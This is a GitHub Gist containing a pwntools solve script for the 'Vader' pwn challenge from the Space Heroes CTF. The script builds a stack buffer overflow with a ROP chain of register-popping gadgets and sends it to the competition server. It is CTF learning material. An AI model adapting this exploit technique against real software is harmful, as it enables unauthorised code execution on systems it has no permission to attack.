Last active
June 15, 2022 16:32
-
-
Save jktrn/a499cfd248125a9d57924f8f602fda30 to your computer and use it in GitHub Desktop.
Solve for the pwn/binary challenge "Vader" from the Space Heroes CTF competition.
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
from pwn import * | |
offset = b'A'*40 # OVERFLOWING 32 + 8 BYTES FOR $RBP | |
rdi = p64(0x0040165b) # RDI, RSI, RDX, RCX, & R8 ARE ARGS REGISTERS | |
rsi_r15 = p64(0x00401659) | |
rdx = p64(0x004011ce) | |
rcx_r8 = p64(0x004011d8) | |
dark = p64(0x00402ec9) # ADDRESSES FOR STRINGS IN THE BINARY | |
side = p64(0x00402ece) | |
r15_garbage = p64(0xCAFEBEEF) # GARBAGE | |
of = p64(0x00402ed3) | |
the = p64(0x00402ed6) | |
force = p64(0x00402eda) | |
vader = p64(0x0040146b) | |
payload = offset | |
payload += rdi + dark # POP RDI, STORING "DARK" | |
payload += rsi_r15 + side + r15_garbage # POP RSI & R15, STORE "S1D3" + GARBAGE | |
payload += rdx + of # POP RDX, STORING "OF" | |
payload += rcx_r8 + the + force # POP RCX & R8, STORING "TH3" + "FORC3" | |
payload += vader # ADDRESS OF VADER | |
p = remote("0.cloud.chals.io", 20712) | |
p.sendline(payload) | |
log.success(p.recvallS()) | |
p.close() |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment